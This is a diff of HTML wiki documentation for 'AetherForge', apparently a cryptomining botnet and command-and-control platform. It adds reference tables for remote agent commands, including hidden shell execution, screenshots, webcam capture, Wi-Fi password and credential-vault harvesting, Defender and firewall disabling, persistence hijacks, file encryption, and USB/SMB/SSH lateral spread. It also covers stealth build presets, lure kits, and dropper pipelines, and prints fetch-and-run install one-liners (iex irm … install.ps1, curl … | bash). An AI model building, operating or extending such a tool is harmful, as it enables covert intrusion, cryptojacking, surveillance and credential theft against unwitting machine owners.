<li>Compact rows — click to expand inline details and remote action strip</li>
|
<li>Compact rows — click to expand inline details and remote action strip</li>
|
||||||
@@ -193,10 +246,15 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
|||||||
|
|
||||||
<h3>Crucible (Command Terminal)</h3>
|
<h3>Crucible (Command Terminal)</h3>
|
||||||
<p>
|
<p>
|
||||||
Select one or many agents (or a Fleet Group). Send raw commands, PowerShell, or preset ops. Output streams
|
Route <code>/crucible</code> — select one or many agents (or a Fleet Group). Send raw commands, PowerShell,
|
||||||
to the terminal in real time. Gold rain overlay activates when a single agent is selected. Expanded ops
|
or preset tactical ops; output streams to the terminal in real time. Gold rain overlay activates when a single
|
||||||
include firewall suite, UPnP, mesh status, fleet upgrade, registry panel, SMB shares, spread status,
|
agent is selected. Tabs: <strong>Ops</strong>, <strong>Recon</strong>, <strong>Files</strong> (File Manager),
|
||||||
credential vault list (names only), secure wipe, and port-forward matrix.
|
<strong>Spread</strong>, <strong>Tunnels</strong>. Full command reference:
|
||||||
|
<a href="#crucible-ops">Crucible Commands</a>.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<strong>File Manager</strong> (single online node): <code>list_dir</code>, <code>read_file</code> (512 KB cap),
|
||||||
|
upload, download, path breadcrumbs — cross-platform. Requires online WebSocket (not beacon-only).
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<h3>Emberwake</h3>
|
<h3>Emberwake</h3>
|
||||||
@@ -221,6 +279,115 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
|||||||
<li>Cloudflare tunnel token, tunnel defaults</li>
|
<li>Cloudflare tunnel token, tunnel defaults</li>
|
||||||
<li><code>public_builds_enabled</code> — expose all builds on unauthenticated public API</li>
|
<li><code>public_builds_enabled</code> — expose all builds on unauthenticated public API</li>
|
||||||
</ul>
|
</ul>
|
||||||
|
|
||||||
|
<h3>Dashboard operating rhythm</h3>
|
||||||
|
<ol>
|
||||||
|
<li>Open <strong>Dashboard</strong> first and check Fleet Health, Nodes Live, and Accept.</li>
|
||||||
|
<li>If health is amber/red, inspect pool status and the underperformer list before touching config.</li>
|
||||||
|
<li>Open <strong>Agents</strong> only after the dashboard tells you which machines need attention.</li>
|
||||||
|
<li>Use <strong>Builds</strong> to verify what is currently pinned before forging anything new.</li>
|
||||||
|
<li>Use <strong>Calibrate</strong> for durable defaults; use Forge only for build-specific overrides.</li>
|
||||||
|
</ol>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- 3b. Crucible Commands -->
|
||||||
|
<section id="crucible-ops">
|
||||||
|
<h2>Crucible Commands — Agent Reference</h2>
|
||||||
|
<p>
|
||||||
|
All commands dispatch via <code>POST /api/v1/agents/{id}/command</code> or
|
||||||
|
<code>POST /api/v1/agents/bulk-command</code>. Aggressive ops require
|
||||||
|
<code>remote_aggressive</code> baked or staged at runtime. Capabilities gate UI buttons — re-forge or push
|
||||||
|
<strong>Crucible Ops</strong> module pack if disabled.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h3>Mining & lifecycle</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td><code>pause</code> / <code>resume</code> / <code>restart</code></td><td>Miner control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>stop</code> / <code>kill</code></td><td>Terminate agent process</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>uninstall</code></td><td>Remove persistence + binary</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>upgrade</code></td><td>Download + replace from build URL</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>fetch_module</code></td><td>Stage signed runtime pack</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>bof_execute</code></td><td>In-memory BOF</td><td>—</td><td><span class="wiki-status disabled">Disabled</span> — always errors</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>System & power</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td><code>reboot_machine</code> / <code>shutdown_machine</code></td><td>Power control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>reboot</code> / <code>shutdown</code></td><td>Legacy aliases</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Wake-on-LAN</td><td><code>POST /api/v1/agents/{id}/wol</code> — UDP magic packet</td><td>Server → agent MAC</td><td><span class="wiki-status working">Working</span> (offline OK)</td></tr>
|
||||||
|
<tr><td><code>exec</code> / <code>powershell</code></td><td>Shell (hidden window)</td><td>Win / Unix sh</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>get_log</code></td><td>Tail agent log</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Recon & posture</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td><code>sysinfo</code></td><td>Hostname, OS, CPU, RAM, uptime</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>full_sys_check</code></td><td>AV, firewall, disk, DNS, ports, CISA KEV exposure</td><td><span class="wiki-status working">Working</span> — KEV block Windows-focused</td></tr>
|
||||||
|
<tr><td><code>ps</code> / <code>netstat</code> / <code>users</code> / <code>software</code></td><td>Process / network / user inventory</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>listen_ports</code> / <code>patch_status</code></td><td>Open ports + patch level</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>posture</code></td><td>Firewall + AV summary</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>connectivity_probe</code></td><td>DNS + TCP to C2 and pool</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>arp_neighbors</code></td><td>ARP cache IPs (spread targeting)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>persistence_audit</code></td><td>Run keys / tasks / systemd / launchd JSON</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>screenshot</code></td><td>Desktop JPEG (live view polls 3s)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>camera_list</code> / <code>camera_snapshot</code></td><td>USB camera capture</td><td><span class="wiki-status partial">Partial</span> — macOS stub; needs ffmpeg</td></tr>
|
||||||
|
<tr><td><code>ipconfig</code> / <code>wifi</code> / <code>clipboard</code></td><td>Network / Wi‑Fi / clipboard</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>kill_process</code></td><td>Kill PID (<code>command</code> field)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Files</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Command</th><th>Purpose</th><th>Guards</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td><code>list_dir</code> / <code>read_file</code></td><td>Remote browse + read (512 KB cap)</td><td>System-root guards</td></tr>
|
||||||
|
<tr><td><code>upload</code> / <code>download</code></td><td>Transfer files</td><td>Auth via dashboard</td></tr>
|
||||||
|
<tr><td><code>push_desktop</code></td><td>Deploy to <code>@desktop/</code></td><td>—</td></tr>
|
||||||
|
<tr><td><code>delete_path</code> / <code>move_path</code></td><td>File ops</td><td>No dirs / system roots</td></tr>
|
||||||
|
<tr><td><code>secure_wipe</code></td><td>Overwrite-then-delete folder</td><td>Confirm in UI; aggressive</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Network, spread & tunnels</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td><code>spread_now</code></td><td>Trigger LAN spread sweep</td><td><span class="wiki-status windows">Windows/Linux</span> — SMB WinRM / SSH</td></tr>
|
||||||
|
<tr><td><code>spread_status</code></td><td>Last sweep in-memory JSON</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>subnet_scan</code></td><td>Active subnet discovery</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>smb_shares</code></td><td>ARP/subnet → <code>net view</code> JSON</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
|
||||||
|
<tr><td><code>hole_punch*</code></td><td>UPnP IGD port map</td><td><span class="wiki-status working">Working</span> — needs <code>hole_punch</code> forge flag</td></tr>
|
||||||
|
<tr><td><code>tunnel_cloudflared</code></td><td>Outbound Cloudflare tunnel</td><td><span class="wiki-status windows">Windows agent</span> — server launcher Win-only</td></tr>
|
||||||
|
<tr><td><code>tunnel_ssh_forward</code></td><td>SSH local forward matrix</td><td><span class="wiki-status windows">Windows</span></td></tr>
|
||||||
|
<tr><td><code>tunnel_wireguard</code> / <code>wg_*</code></td><td>WireGuard setup (Path Tracer)</td><td><span class="wiki-status windows">Windows</span> — Linux/macOS agent stub</td></tr>
|
||||||
|
<tr><td><code>tunnel_status</code> / <code>tunnel_stop</code></td><td>Query / stop tunnels</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>tunnel_stream</code></td><td>TCP reverse relay over WS</td><td><span class="wiki-status disabled">Not implemented</span></td></tr>
|
||||||
|
<tr><td><code>mesh_status</code></td><td>P2P peer count</td><td><span class="wiki-status partial">Stub</span> without <code>-tags p2p</code></td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Firewall, persistence & registry (aggressive)</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Command</th><th>Notes</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td><code>firewall_punch</code> / <code>firewall_off</code> / <code>firewall_on</code></td><td>netsh / ufw / iptables</td><td><span class="wiki-status working">Working</span> — macOS firewall stub</td></tr>
|
||||||
|
<tr><td><code>firewall_profiles</code> / <code>firewall_remove</code></td><td>Profile toggles + rule cleanup</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td><code>defender_off</code></td><td>Windows Defender disable attempt</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
|
||||||
|
<tr><td><code>bits_persist</code> / <code>host_binary_persist</code></td><td>BITS job / host-binary hijack</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
|
||||||
|
<tr><td><code>registry_read</code> / <code>write</code> / <code>delete</code></td><td>Allowlisted hives</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
|
||||||
|
<tr><td><code>credential_vault_list</code></td><td>Credential Manager / Keychain / secret-tool names</td><td><span class="wiki-status working">Working</span> — names only</td></tr>
|
||||||
|
<tr><td><code>get_wifi_passwords</code></td><td>Saved Wi‑Fi profiles</td><td><span class="wiki-status windows">Windows-focused</span></td></tr>
|
||||||
|
<tr><td><code>encrypt_path</code> / <code>sys_crypt</code></td><td>Path encryption ops</td><td><span class="wiki-status working">Working</span> — confirm in UI</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
<!-- 4. Forge -->
|
<!-- 4. Forge -->
|
||||||
@@ -249,6 +416,53 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
|||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
|
|
||||||
|
<h3>Builder workflow from blank form to archived artifact</h3>
|
||||||
|
<ol>
|
||||||
|
<li><strong>Choose the target profile.</strong> Start with one OS/arch unless you specifically need a multi-platform ZIP.</li>
|
||||||
|
<li><strong>Set the runtime identity.</strong> Worker name, server URL, and output directory are the fields that shape how the build is tracked later.</li>
|
||||||
|
<li><strong>Review defaults from Calibrate.</strong> The builder inherits server-side defaults; only override fields that truly differ for this build.</li>
|
||||||
|
<li><strong>Run preflight mentally before compile.</strong> Confirm output path, signing configuration, and any packaging choices.</li>
|
||||||
|
<li><strong>Compile once, then archive the result.</strong> Every successful build is copied into <code>data/builds/{build-id}/</code> so the Build Manager becomes the source of truth.</li>
|
||||||
|
</ol>
|
||||||
|
|
||||||
|
<h3>Builder field families</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Family</th><th>What it controls</th><th>Where it shows up later</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Identity</td><td>Worker name, build naming, archive labels</td><td>Build Manager, agent cards, audit log, install funnel</td></tr>
|
||||||
|
<tr><td>Target</td><td>OS, architecture, output type</td><td>Artifact file names, launcher scripts, compatibility checks</td></tr>
|
||||||
|
<tr><td>Connectivity</td><td>Server URL and fallback URLs</td><td>Install instructions, QR codes, download links, runtime connection path</td></tr>
|
||||||
|
<tr><td>Packaging</td><td>Universal ZIP, spread-kit export, fusion packaging</td><td>Artifact archive, download endpoints, size estimates</td></tr>
|
||||||
|
<tr><td>Signing</td><td>Thumbprint, timestamp URL, signing tool path</td><td>Post-build artifact treatment and estimate notes</td></tr>
|
||||||
|
<tr><td>Blueprints</td><td>Saved form presets</td><td>Re-forge flow, repeatable operator workflows</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Blueprint discipline</h3>
|
||||||
|
<p>
|
||||||
|
Blueprints are most useful when you treat them like named operating recipes, not casual snapshots. Good
|
||||||
|
examples are per-campus defaults, per-lab output conventions, or per-platform release templates. The reason
|
||||||
|
the UI asks for confirmation before re-forge is that a saved blueprint often represents a real rollout shape,
|
||||||
|
not just a draft.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h3>Build Manager relationship</h3>
|
||||||
|
<p>
|
||||||
|
The Builder creates artifacts. The Build Manager is where those artifacts become operational inventory.
|
||||||
|
After compile, use the Build Manager to confirm the build is present, decide whether it should be pinned for
|
||||||
|
install helpers, and verify the archive contains the expected download set. If the Builder is your workshop,
|
||||||
|
Build Manager is your release shelf.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h3>Safe operator checklist before pressing build</h3>
|
||||||
|
<ul>
|
||||||
|
<li>Use a reachable <code>server_url</code>; prefer the actual LAN or public endpoint instead of localhost.</li>
|
||||||
|
<li>Keep output names predictable so archived builds are readable weeks later.</li>
|
||||||
|
<li>Use single-platform builds for quick iteration; use universal output only when distribution really needs it.</li>
|
||||||
|
<li>Confirm signing inputs before compile if the environment expects signed artifacts.</li>
|
||||||
|
<li>After compile, verify the artifact in Build Manager instead of trusting only the toast or progress state.</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
<h3>Forge simple mode — spread profile chips</h3>
|
<h3>Forge simple mode — spread profile chips</h3>
|
||||||
<ul>
|
<ul>
|
||||||
<li><strong>Web Drop</strong> — dropper landing + install scripts</li>
|
<li><strong>Web Drop</strong> — dropper landing + install scripts</li>
|
||||||
@@ -280,6 +494,106 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
|||||||
|
|
||||||
<h3>Cancel in-flight compile</h3>
|
<h3>Cancel in-flight compile</h3>
|
||||||
<pre><code>DELETE /api/v1/builder/cancel/{token}</code></pre>
|
<pre><code>DELETE /api/v1/builder/cancel/{token}</code></pre>
|
||||||
|
|
||||||
|
<h3>Operation modes (Forge skins)</h3>
|
||||||
|
<p>Forge and Mission Deck share six baked presets — each sets stealth, spread, fusion, and garble flags:</p>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Mode</th><th>Intent</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Ghost Walk</td><td>Stealth, garble, no spread — quiet LAN worker</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Open Flame</td><td>Visible console + file logs — lab debugging</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Sigil Mask</td><td>Prep fusion + garble + sigil scramble</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Hearth Whisper</td><td>Idle mining, persistence, no aggressive ops</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Wildfire</td><td>USB + LAN spread + remote aggressive</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Crucible Storm</td><td>Remote aggressive + mesh + hole punch</td><td><span class="wiki-status partial">Partial</span> — mesh needs <code>-tags p2p</code> re-forge</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Path Forge</h3>
|
||||||
|
<p>
|
||||||
|
<code>POST /api/v1/builder/path-forge</code> walks a server-side directory and drops OS launchers next to every
|
||||||
|
file (hint file excluded from placement count). Mac targets require <code>server_url</code> at forge time.
|
||||||
|
Output uses <code>/api/download/agent-*</code> at runtime. <strong>Working</strong> on Windows server; validate
|
||||||
|
paths before batch runs.
|
||||||
|
</p>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- 4b. Mission Deck -->
|
||||||
|
<section id="mission-deck">
|
||||||
|
<h2>Mission Deck</h2>
|
||||||
|
<p>
|
||||||
|
Route <code>/mission-deck</code> — the <strong>fast path</strong> when you already know the rough shape of
|
||||||
|
the deployment: pick Ghost / Loud / Spread, optionally layer a spread profile, set campaign slug and identity
|
||||||
|
fields, then <strong>Equip & Strike</strong> once. The page forges the agent, exports a spread-kit ZIP
|
||||||
|
when the loadout requires it. Copy install one-liners from <strong>Builds</strong> when the run finishes.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<strong>When to use which:</strong> Mission Deck = preset loadout + one-click pipeline. Forge
|
||||||
|
(<code>/forge</code>) = every build option (fusion batches, blueprints, stealth tuning). Emberwake
|
||||||
|
(<code>/emberwake</code>) = tag links, export lure kits, and read campaign funnels — forge the agent on Mission
|
||||||
|
Deck or Forge first. Builds (<code>/builds</code>) = download artifacts, pin the dropper, and copy pinned
|
||||||
|
one-liners anytime.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h3>Automated pipeline (3 steps)</h3>
|
||||||
|
<ol>
|
||||||
|
<li><strong>Apply loadout presets</strong> — operation chip + spread profile + worker, server URL, wallet</li>
|
||||||
|
<li><strong>Build agent installer</strong> — <code>POST /api/v1/builder/build</code> with presets applied</li>
|
||||||
|
<li><strong>Package spread-kit ZIP</strong> — <code>POST /api/v1/builder/spread-kit-export</code> when spread profile demands it; then open <strong>Builds</strong> for install one-liners</li>
|
||||||
|
</ol>
|
||||||
|
|
||||||
|
<h3>Operation chips</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Chip</th><th>Maps to</th><th>Use when</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Ghost</td><td>Ghost Walk</td><td>Stealth home-lab worker, no spread</td></tr>
|
||||||
|
<tr><td>Loud</td><td>Open Flame</td><td>Debugging — visible logs</td></tr>
|
||||||
|
<tr><td>Spread</td><td>Wildfire + spread profile</td><td>USB/LAN propagation wave</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Spread profile chips</h3>
|
||||||
|
<ul>
|
||||||
|
<li><strong>Web Drop</strong> — dropper + install scripts (default campaign slug)</li>
|
||||||
|
<li><strong>Desktop Fusion</strong> — prep or movie fusion packaging</li>
|
||||||
|
<li><strong>LAN Kindling</strong> — SMB / SSH lateral spread flags</li>
|
||||||
|
<li><strong>Crucible Ops</strong> — <code>remote_aggressive</code> for dashboard tunnels and firewall suite</li>
|
||||||
|
</ul>
|
||||||
|
<p>Presence avatars (“Also Here”) show other logged-in operators on the same page via WebSocket presence.</p>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- 4c. Build Manager -->
|
||||||
|
<section id="build-manager">
|
||||||
|
<h2>Build Manager</h2>
|
||||||
|
<p>
|
||||||
|
Route <code>/builds</code> — operational inventory for every forged artifact. The Builder creates; Build
|
||||||
|
Manager tracks what is pinned, public, and ready for dropper one-liners.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h3>Per-build actions</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Action</th><th>API / behaviour</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Download exe / ZIP</td><td><code>GET /api/v1/builds/{id}/download</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Download artifact</td><td><code>GET /api/v1/builds/{id}/artifact/{name}</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Uninstall script</td><td><code>GET /api/v1/builds/{id}/uninstall</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Pin build</td><td><code>PUT /api/v1/builds/{id}/pin</code> — dropper serves pinned binary</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Public toggle</td><td><code>PUT /api/v1/builds/{id}/public</code> — login drawer + public API</td><td><span class="wiki-status working">Working</span> (wired 2026-06-06)</td></tr>
|
||||||
|
<tr><td>Re-forge</td><td>Pre-fills Forge form; confirmation required</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Delete record</td><td><code>DELETE /api/v1/builds/{id}</code> — DB only; archive file may remain</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>LAN QR</td><td>Encodes worker download URL for mobile scan</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Dropper behaviour</h3>
|
||||||
|
<ul>
|
||||||
|
<li><strong>Pinned:</strong> <code>/get</code>, <code>/install.ps1</code>, <code>/install.sh</code> always serve the pinned build</li>
|
||||||
|
<li><strong>Unpinned:</strong> most recently forged build wins</li>
|
||||||
|
<li><strong>Public builds:</strong> <code>GET /api/v1/public/builds</code> lists pinned + public-flagged + latest 3 (or all when <code>public_builds_enabled</code>)</li>
|
||||||
|
</ul>
|
||||||
|
<pre><code>iex (irm 'http://YOUR-DECK:8989/install.ps1')
|
||||||
|
curl -sL http://YOUR-DECK:8989/install.sh | bash
|
||||||
|
http://YOUR-DECK:8989/get?pin={build_id}&c=campaign-slug</code></pre>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
<!-- 5. Spread & Campaigns -->
|
<!-- 5. Spread & Campaigns -->
|
||||||
@@ -294,7 +608,9 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
|||||||
<p>
|
<p>
|
||||||
Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to
|
Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to
|
||||||
authorized lab patterns: first-party install docs, spread-kit landers, fusion bundles, and email→lander→pinned
|
authorized lab patterns: first-party install docs, spread-kit landers, fusion bundles, and email→lander→pinned
|
||||||
build chains. See also <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a> for the full technique matrix.
|
build chains. Step-by-step playbooks: <a href="SPREAD_TECHNIQUES.html">Spread Techniques</a>
|
||||||
|
(tabbed) · research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
||||||
|
Operator UI: <a href="/emberwake">Emberwake</a>.
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<h3>Dropper endpoints (unauthenticated)</h3>
|
<h3>Dropper endpoints (unauthenticated)</h3>
|
||||||
@@ -465,23 +781,7 @@ https://your.site/get?pin={build_id}&c=docs</code></pre>
|
|||||||
launch is typically a single UAC prompt (Windows) for persistence and firewall rules.
|
launch is typically a single UAC prompt (Windows) for persistence and firewall rules.
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<h3>Platform matrix</h3>
|
<p>Full cross-platform matrix: <a href="#platform-matrix">Platform Matrix</a>.</p>
|
||||||
<table class="wiki-table">
|
|
||||||
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
|
|
||||||
<tbody>
|
|
||||||
<tr><td>RandomX CPU mining</td><td>✅</td><td>✅</td><td>✅</td></tr>
|
|
||||||
<tr><td>GPU RVN (T-Rex / TRM)</td><td>✅</td><td>stub</td><td>stub</td></tr>
|
|
||||||
<tr><td>Screenshot</td><td>✅ GDI+</td><td>✅ scrot/import</td><td>✅ screencapture</td></tr>
|
|
||||||
<tr><td>Camera</td><td>✅ ffmpeg</td><td>✅ V4L2/ffmpeg</td><td>stub</td></tr>
|
|
||||||
<tr><td>File browser (Crucible)</td><td>✅</td><td>✅</td><td>✅</td></tr>
|
|
||||||
<tr><td>USB / WMI spread</td><td>✅</td><td>❌</td><td>❌</td></tr>
|
|
||||||
<tr><td>SMB / WinRM spread</td><td>✅</td><td>❌</td><td>❌</td></tr>
|
|
||||||
<tr><td>SSH lateral spread</td><td>❌</td><td>✅</td><td>✅</td></tr>
|
|
||||||
<tr><td>Firewall aggressive ops</td><td>✅ netsh</td><td>✅ ufw/iptables</td><td>stub</td></tr>
|
|
||||||
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
|
|
||||||
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
|
|
||||||
</tbody>
|
|
||||||
</table>
|
|
||||||
|
|
||||||
<h3>Staged modules (runtime feature packs)</h3>
|
<h3>Staged modules (runtime feature packs)</h3>
|
||||||
<p>
|
<p>
|
||||||
@@ -575,6 +875,45 @@ https://your.site/get?pin={build_id}&c=docs</code></pre>
|
|||||||
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
<!-- 7b. Platform Matrix -->
|
||||||
|
<section id="platform-matrix">
|
||||||
|
<h2>Platform Matrix</h2>
|
||||||
|
<p>Accurate feature parity across worker OS targets. Status labels match code audit (<code>PROBLEMS.md</code>).</p>
|
||||||
|
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>RandomX CPU mining</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>GPU RVN (T-Rex / TRM)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — detects GPU, downloads Win .exe</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||||
|
<tr><td>Idle schedule guard</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — /proc/stat</td><td><span class="wiki-status working">Working</span> — sysctl</td></tr>
|
||||||
|
<tr><td>Screenshot</td><td><span class="wiki-status working">Working</span> GDI+</td><td><span class="wiki-status working">Working</span> scrot/import</td><td><span class="wiki-status working">Working</span> screencapture</td></tr>
|
||||||
|
<tr><td>Camera</td><td><span class="wiki-status working">Working</span> ffmpeg</td><td><span class="wiki-status working">Working</span> V4L2</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||||
|
<tr><td>File browser (Crucible)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>USB / WMI spread</td><td><span class="wiki-status working">Working</span></td><td>—</td><td>—</td></tr>
|
||||||
|
<tr><td>SMB / WinRM spread</td><td><span class="wiki-status working">Working</span></td><td>—</td><td>—</td></tr>
|
||||||
|
<tr><td>SSH lateral spread</td><td>—</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Firewall aggressive ops</td><td><span class="wiki-status working">Working</span> netsh</td><td><span class="wiki-status working">Working</span> ufw/iptables</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||||
|
<tr><td>KEV exposure scan</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">n/a</span></td><td><span class="wiki-status stub">n/a</span></td></tr>
|
||||||
|
<tr><td>Path Tracer <code>wg_setup</code></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span></td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||||
|
<tr><td>Mesh P2P (<code>mesh_status</code>)</td><td><span class="wiki-status partial">Needs -tags p2p</span></td><td>same</td><td>same</td></tr>
|
||||||
|
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
|
||||||
|
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
|
||||||
|
<tr><td>HTTPS beacon fallback</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Docker E2E agent</td><td>—</td><td><span class="wiki-status working">Working</span> — see <code>docker/README.md</code></td><td>—</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>Control server (operator PC)</h3>
|
||||||
|
